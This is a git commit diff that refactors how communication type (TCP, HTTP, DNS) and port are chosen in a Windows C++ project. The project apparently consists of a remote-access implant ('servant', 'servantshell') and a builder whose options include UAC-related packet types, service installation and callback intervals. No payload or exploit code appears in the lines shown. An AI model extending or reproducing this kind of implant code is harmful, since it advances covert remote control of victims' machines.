fix commtype.
This commit is contained in:
parent
7b9c1a0b15
commit
3d643489df
Binary file not shown.
|
@ -57,7 +57,7 @@
|
|||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>../../pub;..\..\..\base\include\;</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>../../pub;..\..\..\base\include\;..\..\..\common\;</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
|
@ -82,7 +82,7 @@
|
|||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>../../pub</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>../../pub;..\..\..\base\include\;..\..\..\common\;</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
|
|
|
@ -8,6 +8,8 @@
|
|||
#include "afxdialogex.h"
|
||||
#include <shellapi.h>
|
||||
#include <atlenc.h>
|
||||
#include "CommNames.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
@ -131,7 +133,7 @@ void CGeneratorDlg::InitDlgEdit()
|
|||
// SetDlgItemText(IDC_EDIT_SERVICEDEC, config.serviceDescription);
|
||||
// SetDlgItemText(IDC_EDIT_INSTALLPATH, config.serviceInstallpath);
|
||||
SetDlgItemText(IDC_EDIT_GROUP, _T("Default"));
|
||||
SetDlgItemInt(IDC_EDIT_HTTPPORT, config.httpPort);
|
||||
SetDlgItemInt(IDC_EDIT_PORT, config.port);
|
||||
// SetDlgItemInt(IDC_EDIT_DNSPORT, 53);
|
||||
|
||||
if (config.packetType == PACKET_TYPE_PASSUAC)
|
||||
|
@ -142,8 +144,11 @@ void CGeneratorDlg::InitDlgEdit()
|
|||
}
|
||||
|
||||
// m_DefaultComm.AddString(_T("自动检测"));;
|
||||
m_DefaultComm.AddString(_T("TCP"));
|
||||
m_DefaultComm.AddString(_T("HTTP"));
|
||||
|
||||
m_DefaultComm.InsertString(0,_T("HTTP"));
|
||||
m_DefaultComm.SetItemData(0,COMMNAME_HTTP);
|
||||
m_DefaultComm.InsertString(1,_T("TCP"));
|
||||
m_DefaultComm.SetItemData(1,COMMNAME_TCP);
|
||||
|
||||
|
||||
m_DefaultComm.SetCurSel(config.commType);
|
||||
|
@ -912,20 +917,8 @@ void CGeneratorDlg::OnBnClickedButtonBingo()
|
|||
|
||||
//得到通信方式
|
||||
int nSel = m_DefaultComm.GetCurSel();
|
||||
|
||||
if (nSel == 0)
|
||||
{
|
||||
Config_Info.nDefaultCommType = COMMNAME_DNS;
|
||||
}
|
||||
else if(nSel == 1)
|
||||
{
|
||||
Config_Info.nDefaultCommType = COMMNAME_HTTP;
|
||||
}
|
||||
else if(nSel == 2)
|
||||
{
|
||||
Config_Info.nDefaultCommType = COMMNAME_TCP;
|
||||
}
|
||||
generateConfig.commType = nSel;
|
||||
Config_Info.nDefaultCommType = m_DefaultComm.GetItemData(nSel);
|
||||
generateConfig.commType = m_DefaultComm.GetCurSel();
|
||||
|
||||
//得到尝试连接间隔
|
||||
Config_Info.nTryConnectIntervalM = GetDlgItemInt(IDC_EDIT_TRY_INTERVALM);
|
||||
|
@ -953,9 +946,9 @@ void CGeneratorDlg::OnBnClickedButtonBingo()
|
|||
|
||||
Config_Info.nProxyPort = GetDlgItemInt(IDC_EDIT_PROXYPORT);
|
||||
|
||||
//µÃµ½HTTP¶Ë¿Ú
|
||||
Config_Info.nPort = GetDlgItemInt(IDC_EDIT_HTTPPORT);
|
||||
generateConfig.httpPort = GetDlgItemInt(IDC_EDIT_HTTPPORT);
|
||||
//µÃµ½¶Ë¿Ú
|
||||
Config_Info.nPort = GetDlgItemInt(IDC_EDIT_PORT);
|
||||
generateConfig.port = GetDlgItemInt(IDC_EDIT_PORT);
|
||||
|
||||
BOOL bCarrier = ((CButton*)GetDlgItem(IDC_RADIO_CARRIER))->GetCheck();
|
||||
BOOL bSetup = ((CButton*)GetDlgItem(IDC_RADIO_SETUP))->GetCheck();
|
||||
|
@ -1085,7 +1078,7 @@ void CGeneratorDlg::SaveGeneratorConfig( const GENERATOR_CONFIG& config )
|
|||
WRITE_INT_CONFIG(DOWN_SVT_OFFSETS, config.downSvtOffsetS);
|
||||
WRITE_INT_CONFIG(DOWN_SVT_INTERVALS, config.downSvtIntervalS);
|
||||
WRITE_INT_CONFIG(PACKET_TYPE, config.packetType);
|
||||
WRITE_INT_CONFIG(HTTP_PORT, config.httpPort);
|
||||
WRITE_INT_CONFIG(HTTP_PORT, config.port);
|
||||
WRITE_INT_CONFIG(COMM_TYPE, config.commType);
|
||||
}
|
||||
|
||||
|
@ -1120,27 +1113,27 @@ void CGeneratorDlg::LoadGeneratorConfig( GENERATOR_CONFIG& config )
|
|||
READ_INT_CONFIG(DOWN_SVT_OFFSETS, _T("30"), config.downSvtOffsetS);
|
||||
READ_INT_CONFIG(DOWN_SVT_INTERVALS, _T("1800"), config.downSvtIntervalS);
|
||||
READ_INT_CONFIG(PACKET_TYPE, _T("0"), config.packetType);
|
||||
READ_INT_CONFIG(HTTP_PORT, _T("8081"), config.httpPort);
|
||||
READ_INT_CONFIG(HTTP_PORT, _T("8081"), config.port);
|
||||
READ_INT_CONFIG(COMM_TYPE, _T("0"), config.commType);
|
||||
}
|
||||
|
||||
|
||||
void CGeneratorDlg::OnCbnSelendokComboComm()
|
||||
{
|
||||
int nSel = m_DefaultComm.GetCurSel();
|
||||
|
||||
if (nSel == 1)
|
||||
{
|
||||
((CWnd*)GetDlgItem(IDC_EDIT_HTTPPORT))->EnableWindow(TRUE);
|
||||
}
|
||||
else if(nSel == 2)
|
||||
{
|
||||
((CWnd*)GetDlgItem(IDC_EDIT_HTTPPORT))->EnableWindow(TRUE);
|
||||
}
|
||||
else
|
||||
{
|
||||
((CWnd*)GetDlgItem(IDC_EDIT_HTTPPORT))->EnableWindow(FALSE);
|
||||
}
|
||||
// int nSel = m_DefaultComm.GetCurSel();
|
||||
//
|
||||
// if (nSel == 1)
|
||||
// {
|
||||
// ((CWnd*)GetDlgItem(IDC_EDIT_HTTPPORT))->EnableWindow(TRUE);
|
||||
// }
|
||||
// else if(nSel == 2)
|
||||
// {
|
||||
// ((CWnd*)GetDlgItem(IDC_EDIT_HTTPPORT))->EnableWindow(TRUE);
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// ((CWnd*)GetDlgItem(IDC_EDIT_HTTPPORT))->EnableWindow(FALSE);
|
||||
// }
|
||||
return ;
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
}
|
||||
|
|
|
@ -51,7 +51,7 @@ private:
|
|||
CString serviceDisplayName;
|
||||
CString serviceDescription;
|
||||
CString serviceInstallpath;
|
||||
int httpPort;
|
||||
int port;
|
||||
int commType;
|
||||
int setupType;
|
||||
int connectTryIntervalM;
|
||||
|
|
Binary file not shown.
|
@ -57,13 +57,3 @@
|
|||
|
||||
|
||||
//连接方式
|
||||
typedef enum
|
||||
{
|
||||
COMMNAME_DEFAULT = 0,
|
||||
COMMNAME_ICMP,
|
||||
COMMNAME_TCP,
|
||||
COMMNAME_UDP,
|
||||
COMMNAME_HTTP,
|
||||
COMMNAME_DNS,
|
||||
COMMNAME_MAX,
|
||||
} COMM_NAME;
|
|
@ -226,7 +226,7 @@ BOOL CommManager::StartMessageWorker( ULONG testIntervalMS, DWORD dwSendInterval
|
|||
m_bWorking = TRUE;
|
||||
m_dwMsgIntervalMS = dwSendIntervalMS;
|
||||
|
||||
if (! IsCommAvailable(COMMNAME_DEFAULT)) SendCommTestMessages();
|
||||
if (! IsCommAvailable(COMMNAME_DEFAULT))/* SendCommTestMessages()*/;
|
||||
|
||||
return m_messageSenderThread.Start(MessageSender, this);
|
||||
}
|
||||
|
|
|
@ -41,10 +41,6 @@ BOOL HttpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSend
|
|||
|
||||
BOOL HttpComm::Connect( ULONG targetIP )
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
#endif
|
||||
|
||||
char szPort[255] = {0};
|
||||
|
||||
sprintf_s(szPort,"%d",g_ConfigInfo.nPort);
|
||||
|
|
|
@ -47,9 +47,6 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
|
||||
BOOL TcpComm::Connect( ULONG targetIP, MySocket& sock )
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
#endif
|
||||
sock.Close();
|
||||
if (! sock.Create(TRUE))
|
||||
{
|
||||
|
|
|
@ -12,9 +12,7 @@
|
|||
|
||||
SERVANT_API BOOL InitServant(const PCONFIG_INFO pConfigInfo)
|
||||
{
|
||||
debugLog(_T("init servant. server : %s"), a2t(pConfigInfo->szAddr));
|
||||
|
||||
debugLog(a2t(pConfigInfo->szAddr));
|
||||
debugLog(_T("init servant. server : %s:%d"), a2t(pConfigInfo->szAddr),pConfigInfo->nPort);
|
||||
|
||||
g_ConfigInfo = *pConfigInfo;
|
||||
|
||||
|
@ -30,8 +28,12 @@ SERVANT_API BOOL InitServant(const PCONFIG_INFO pConfigInfo)
|
|||
return FALSE;
|
||||
}
|
||||
|
||||
if (COMMNAME_HTTP == g_ConfigInfo.nDefaultCommType) CommManager::GetInstanceRef().SetDefaultComm(COMMNAME_HTTP);
|
||||
else if (COMMNAME_TCP == g_ConfigInfo.nDefaultCommType) CommManager::GetInstanceRef().SetDefaultComm(COMMNAME_TCP);
|
||||
CommManager::GetInstanceRef().SetDefaultComm((COMM_NAME)g_ConfigInfo.nDefaultCommType);
|
||||
|
||||
tstring proto;
|
||||
CommManager::GetInstanceRef().Commname2Str((COMM_NAME)g_ConfigInfo.nDefaultCommType,proto);
|
||||
|
||||
debugLog(_T("protocol : %s[%d]"),proto.c_str(),g_ConfigInfo.nDefaultCommType);
|
||||
|
||||
if (! CommManager::GetInstanceRef().StartMessageWorker(1000 * 30, 10, 1000))
|
||||
{
|
||||
|
|
|
@ -226,6 +226,7 @@ SHELL_API BOOL Init(BOOL bWait)
|
|||
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
g_ConfigInfo.nFirstConnectHour = -1;
|
||||
g_ConfigInfo.nFirstConnectMinute = -1;
|
||||
g_ConfigInfo.nTryConnectIntervalM = 1;
|
||||
|
|
Loading…
Reference in New Issue